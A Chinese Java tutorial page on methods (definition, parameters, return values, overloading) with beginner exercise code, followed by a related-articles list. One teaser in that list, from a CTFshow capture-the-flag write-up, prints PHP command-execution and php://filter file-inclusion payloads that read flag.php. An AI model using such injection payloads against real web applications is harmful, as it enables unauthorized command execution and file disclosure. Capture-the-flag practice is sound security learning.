java学习06---方法

一 方法

方法(method)是程序中最小的执行单元

注意:

  • 方法必须先创建才可以使用,该过程成为方法定义

  • 方法创建后并不是直接可以运行的,需要手动使用后,才执行,该过程成为方法调用

二  方法的定义和调用

1 无参数方法定义和调用

  • 定义格式:

    public static void 方法名 (   ) {
        // 方法体;
    }
  • 范例:

    public static void playgame(){
            System.out.println("a");
            System.out.println("b");
            System.out.println("c");
            System.out.println("d");
  • 调用格式:

    方法名();
  • 范例:

    method();
  • 注意:

    方法必须先定义,后调用,否则程序将报错

练习

需求:定义一个方法,在方法内部定义两个变量。
求出他们的和并进行打印。

package com.wy.methoddemo;public class MethodDemo1 {
    public static void main(String[] args) {
        getsum();
    }
    public static void getsum(){
        int num1=10;
        int num2=20;
        int result=num1+num2;
        System.out.println(result);
    }
}

 

2.带参数方法定义和调用

  • 定义格式:

    参数:由数据类型和变量名组成 - 数据类型 变量名

  • 参数范例:

    int a
    
    public static void 方法名 (参数1) {
        方法体;
    }
    ​
    public static void 方法名 (参数1, 参数2, 参数3...) {
        方法体;
    }
     
  • 范例:

    public static void isEvenNumber(int number){
        ...
    }
    public static void getMax(int num1, int num2){
        ...
    }

注意:

方法定义时,参数中的数据类型与变量名都不能缺少,缺少任意一个程序将报错
​
方法定义时,多个参数之间使用逗号( ,)分隔

方法调用时,参数的数量与类型必须与方法定义中的设置相匹配,否则程序将报错
  • 调用格式:

    方法名(参数);
    ​
    方法名(参数1,参数2);
     

package com.wy.methoddemo;

public class MethodDemo2 {
    public static void main(String[] args) {
        getsum(10,20);
    }
    public static void getsum(int num1,int num2){
        int result=num1+num2;
        System.out.println(result);
    }
}

练习

需求:定义一个方法,求长方形的周长,将结果在方法中进行打印。

public class MethodDemo3 {
    public static void main(String[] args) {
        getlength(5.2,6.7);

    }
    public static void getlength(double len,double width){
        double reslt=(len+width)*2;
        System.out.println(reslt);
    }
}

 

3.形参和实参

1.形参:方法定义中的参数

等同于变量定义格式,例如:int number

2.实参:方法调用中的参数

等同于使用变量或常量,例如: 10 number

4. 带返回值方法的定义和调用

  • 定义格式

    public static 数据类型 方法名 ( 参数 ) { 
        return 数据 ;
    }
  • 范例

    public static boolean isEvenNumber( int number ) {           
        return true ;
    }
    public static int getMax( int a, int b ) {
        return  100 ;
    }

注意:

方法定义时return后面的返回值与方法定义上的数据类型要匹配,否则程序将报错

  • 调用格式

    方法名 ( 参数 ) ;
    数据类型 变量名 = 方法名 ( 参数 ) ;
  • 范例

    isEvenNumber ( 5 ) ;
    boolean  flag =  isEvenNumber ( 5 ); 

注意:

方法的返回值通常会使用变量接收,否则该返回值将无意义

练习

需求:

定义一个方法,求一家商场每个季度的营业额。根据方法结果再计算出全年营业额。

package com.wy.methoddemo;

public class MethodDemo4 {
    public static void main(String[] args) {
//        //直接调用
//        getSum(10,20,30);
//        //赋值调用
//        int sum=getSum(10,20,30);
//        System.out.println(sum);
//        //输出调用
//        System.out.println(getSum(10,20,30));

        //第一季度
        int sum1=getSum(10,20,30);
        //2
        int sum2=getSum(10,20,30);
        //3
        int sum3=getSum(10,20,30);
        //4
        int sum4=getSum(10,20,30);
        
        int sum=sum1+sum2+sum3+sum4;
        System.out.println(sum);
    }
    public static int getSum(int num1,int num2,int num3){
        int result=num1+num2+num3;
        return result;
    }
}

 

需求:

定义方法,比较两个长方形的面积。

package com.wy.methoddemo;

public class MethodDemo5 {
    public static void main(String[] args) {
        double area1=getArea(5.3,1.7);
        double area2=getArea(2.4,2.7);

        if(area1>area2){
            System.out.println("第一个大");
        }else{
            System.out.println("第二个大");
        }
        }
    public static double getArea(double len,double width){
        double area=len*width;
        return area;
    }
}

5.注意

三 方法的重载

  • 方法重载概念

    方法重载指同一个类中定义的多个方法之间的关系,满足下列条件的多个方法相互构成重载

    • 多个方法在同一个类中

    • 多个方法具有相同的方法名

    • 多个方法的参数不相同,类型不同或者数量不同

 

练习

  • 需求:使用方法重载的思想,设计比较两个整数是否相同的方法,兼容全整数类型(byte,short,int,long)

package com.wy.methoddemo;

public class MethodDemo6 {
    public static void main(String[] args) {
        compare((byte) 10,(byte) 20);
        compare(10,20);
    }
    public static void compare(byte b1,byte b2){
        System.out.println(b1==b2);
        System.out.println("byte");
    }
    public static void compare(short s1,short s2){
        System.out.println(s1==s2);
        System.out.println("short");

    }
    public static void compare(int i1,int i2){
        System.out.println(i1==i2);
        System.out.println("int");
    }
    public static void compare(long n1,long n2){
        System.out.println(n1==n2);
        System.out.println("long");
    }
}

 

四 练习

1.数组遍历

  • 需求:设计一个方法用于数组遍历,要求遍历的结果是在一行上的。例如:[11, 22, 33, 44, 55]

package com.wy.methoddemo.test;

public class Test1 {
    public static void main(String[] args) {
        int[] arr={11,22,33,44,55};
        printArr(arr);
    }
    public static void printArr(int[] arr){
        System.out.print("[");
        for (int i = 0; i < arr.length; i++) {
            if(i==arr.length-1){
                System.out.print(arr[i]);
            }else{
                System.out.print(arr[i]+", ");
            }
        }
        System.out.println("]");
    }
}

 

2.

需求:设计一个方法用于获取数组中元素的最大值

package com.wy.methoddemo.test;

public class Test2 {
    public static void main(String[] args) {
        int[] arr={1,5,7,3,8,10};
        int max = getMax(arr);
        System.out.println(max);
    }
    public  static int getMax(int[] arr){
        int max=arr[0];
        for (int i = 1; i < arr.length; i++) {
            if(arr[i]>max){
                max=arr[i];

            }
        }
        return max;
    }
}

 

3.

需求:定义一个方法判断数组中的某一个数是否存在,将结果返回给调用处 

 

package com.wy.methoddemo.test;

public class Test3 {
    public static void main(String[] args) {
        int[] arr={1,5,3,6,99,36};
        boolean flag=contains(arr,99);

        System.out.println(flag);
    }
    public static boolean contains(int[] arr,int number){
        for (int i = 0; i < arr.length; i++) {
            if(arr[i]==number){
                return true;
            }
        }
        return false;
    }
}

4.

需求:定义一个方法copyOfRange(int[] arr,int from, int to)

功能:将数组arr中从索引from(包含from)开始。到索引to结束(不包含to)的元素复制到新数组中。将新数组返回

 

package com.wy.methoddemo.test;

public class Test4 {
    public static void main(String[] args) {
        int[] arr={1,2,3,4,5,6,7,8,9};
        int[] copyArr = copyOfRange(arr, 3, 7);
        for (int i = 0; i < copyArr.length; i++) {//打印
            System.out.print(copyArr[i]);

        }
    }
    public  static  int[] copyOfRange(int[] arr,int from, int to){//动态定义数组:不知道元素
        int[] newArr=new int[to-from];//拷贝
        int index=0; //伪造索引
        for (int i = from; i < to; i++) {
            newArr[index]=arr[i];
            index++;
        }
        return newArr;
    }
}

 

五 方法的内存

局部变量

 

 数组 new---》堆

总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/377475.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(注解配置AOP)学习Spring的第十七天

基于注解配置的AOP 来看注解式开发 : 先把目标与通知放到Spring里管理 : Service("userService") public class UserServiceImpl implements UserService {Overridepublic void show1() {System.out.println("show1......");}Overridepublic void show2…

SpringBoot + Tess4J 实现本地与远程图片的文字识别

1 前言 1.1 概要 在本文中&#xff0c;我们将探讨如何在Spring Boot应用程序里集成Tess4J来实现OCR&#xff08;光学字符识别&#xff09;&#xff0c;以识别出本地和远程图片中的文字。 我们将从添加依赖说起&#xff0c;然后创建服务类以实现OCR&#xff0c;最后展示如何处…

Java项目使用jasypt加密和解密配置文件中关键信息

一、使用背景 项目中application.yml 配置文件中&#xff0c;如数据库、redis、加密算法的私钥等各种配置的username&#xff0c;password的值都是明文的&#xff0c;其实存在一定的安全隐患&#xff0c;如果被人拿到这些配置文件&#xff0c;将直接对系统安全构成极大威胁&…

多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测

多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测 目录 多维时序 | Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现RF-Adaboost随机森林结合Adaboost多变量时间序列预…

【PyQt】06-.ui文件转.py文件

文章目录 前言方法一、基本脚本查看自己的uic安装目录 方法二、添加到扩展工具里面&#xff08;失败了&#xff09;方法二的成功步骤总结 前言 方法一、基本脚本 将Qt Designer&#xff08;一种图形用户界面设计工具&#xff09;生成的.ui文件转换为Python代码的脚本。 pytho…

TI毫米波雷达开发——High Accuracy Demo 串口数据接收及TLV协议解析 matlab 源码

TI毫米波雷达开发——串口数据接收及TLV协议解析 matlab 源码 前置基础源代码功能说明功能演示视频文件结构01.bin / 02.binParseData.mread_file_and_plot_object_location.mread_serial_port_and_plot_object_location.m函数解析configureSport(comportSnum)readUartCallback…

不到1s生成mesh! 高效文生3D框架AToM

论文题目&#xff1a; AToM: Amortized Text-to-Mesh using 2D Diffusion 论文链接&#xff1a; https://arxiv.org/abs/2402.00867 项目主页&#xff1a; AToM: Amortized Text-to-Mesh using 2D Diffusion 随着AIGC的爆火&#xff0c;生成式人工智能在3D领域也实现了非常显著…

计算机网络概念、组成、功能和分类

文章目录 概要1.怎么学习计算机网络2.概念3.功能、组成4.工作方式、功能组成5.分类 概要 概念、组成、功能和分类 1.怎么学习计算机网络 2.概念 通信设备&#xff1a;比如路由器、路由器 线路&#xff1a;将系统和通信设备两者联系的介质之类的 计算机网络是互连的、自治的的计…

CTFshow web(php命令执行 37-40)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…

spring boot和spring cloud项目中配置文件application和bootstrap加载顺序

在前面的文章基础上 https://blog.csdn.net/zlpzlpzyd/article/details/136060312 日志配置 logback-spring.xml <?xml version"1.0" encoding"UTF-8"?> <configuration scan"true" scanPeriod"10000000 seconds" debug…

Leetcode 213 打家劫舍 II

题意理解&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋&#xff0c;每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 &#xff0c;这意味着第一个房屋和最后一个房屋是紧挨着的。同时&#xff0c;相邻的房屋装有相互连通的防盗系统&#xff0c;如果…

mysql 对于null字段排序处理

最近遇到一个需求 &#xff0c;需要对一个报表的多个字段进行多字段复杂条件排序 排序字段为NULL时 Mysql对于排序字段为NULL时&#xff0c;有自身默认的排序规则&#xff0c;默认是认为null 值 是无穷小 ELECT id,script_id,last_modified,live_count,next_show FROM virtua…

python-自动化篇-办公-一键将word中的表格提取到excel文件中

文章目录 代码 工作中&#xff0c;经常需要将Word文档中的表格粘贴到Excel文件中&#xff0c;以便汇总及分析。一个一个复制粘贴&#xff0c;非常不方便&#xff0c;还是Python自动化操作&#xff0c;省心省力。要求如下图所示&#xff0c;即将word中的所有表格&#xff0c;转存…

红队打靶练习:PHOTOGRAPHER: 1

目录 信息收集 1、arp 2、nmap 3、nikto 目录扫描 1、gobuster 2、dirsearch WEB 信息收集 enum4linux smbclient 8000端口 CMS利用 信息收集 文件上传漏洞利用 提权 信息收集 get user.txt get flag 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# a…

【开源】JAVA+Vue.js实现开放实验室管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 实验室类型模块2.2 实验室模块2.3 实验管理模块2.4 实验设备模块2.5 实验订单模块 三、系统设计3.1 用例设计3.2 数据库设计 四、系统展示五、样例代码5.1 查询实验室设备5.2 实验放号5.3 实验预定 六、免责说明 一、摘…

【快速上手QT】02-学会查看QT自带的手册QT助手

QT助手 为什么大家都说QT简单&#xff0c;第一点就是确实简单&#xff08;bushi&#xff09;。 我个人觉得最关键的点就是人家QT官方就给你准备好了文档&#xff0c;甚至还有专门的IDE——QtCreator&#xff0c;在QTCreator里面还有很多示例代码&#xff0c;只要你会C的语法以…

小白水平理解面试经典题目LeetCode 71. Simplify Path【Stack类】

71. 简化路径 小白渣翻译 给定一个字符串 path &#xff0c;它是 Unix 风格文件系统中文件或目录的绝对路径&#xff08;以斜杠 ‘/’ 开头&#xff09;&#xff0c;将其转换为简化的规范路径。 在 Unix 风格的文件系统中&#xff0c;句点 ‘.’ 指的是当前目录&#xff0c;…

WordPress如何自建txt文本经典语录并随机显示一句话经典语录?

前面跟大家分享的『WordPress集成一言&#xff08;Hitokoto&#xff09;API经典语句功能』一文中就提供有自创API&#xff0c;其中懿古今顶部左上角显示的经典语录用的就是自建一个txt文本文件&#xff0c;然后再在前端网页指定位置随机显示语录。具体操作方法如下&#xff1a;…

Oracle篇—logminer日志挖掘恢复误操作数据

☘️博主介绍☘️&#xff1a; ✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ ✌✌️擅长Oracle、MySQL、SQLserver、Linux&#xff0c;也在积极的扩展IT方向的其他知识面✌✌️ ❣️❣️❣️大佬们都喜欢静静的看文章&#xff0c;并且也会默默的点赞收藏加关注❣…

微软.NET6开发的C#特性——类、结构体和联合体

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;看到不少初学者在学习编程语言的过程中如此的痛苦&#xff0c;我决定做点什么&#xff0c;下面我就重点讲讲微软.NET6开发人员需要知道的C#特性。 C#经历了多年发展&#xff0c; 进行了多次重大创新&#xf…